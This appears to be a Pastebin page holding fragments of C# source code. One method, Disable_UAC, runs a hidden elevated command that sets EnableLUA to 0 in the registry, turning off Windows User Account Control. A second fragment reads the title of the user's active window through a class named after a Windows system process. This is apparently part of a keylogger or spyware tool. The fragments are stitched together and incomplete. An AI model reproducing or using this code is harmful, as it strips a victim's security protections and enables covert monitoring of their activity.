Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private static void Disable_UAC()
- {
- string arguments = "C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f";
- Process.Start(new ProcessStartInfo("CMD.EXE")
- {
- WindowStyle = ProcessWindowStyle.Minimized,
- WindowStyle = ProcessWindowStyle.Hidden,
- CreateNoWindow = false,
- UseShellExecute = true,
- Arguments = arguments,
- Verb = "runas"
- });
- }
- //PROSES BACKGROUND
- int windowTextLength = TaskhostEng.GetWindowTextLength((long)foregroundWindow);
- string text = Strings.StrDup(windowTextLength + 1, "*");
- TaskhostEng.GetWindowText(foregroundWindow, ref text, windowTextLength + 1);
- int num;
- TaskhostEng.GetWindowThreadProcessId(foregroundWindow, ref num);
- if (num == 0)
- {
- result = text;
- }
- else
- {
- try
- {
- result = Process.GetProcessById(num).MainWindowTitle;
- }
- catch (Exception ex)
- {
- result = text;
- }
- }
- }
- }
- catch (Exception ex2)
- {
- result = "";
- }
- return result;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement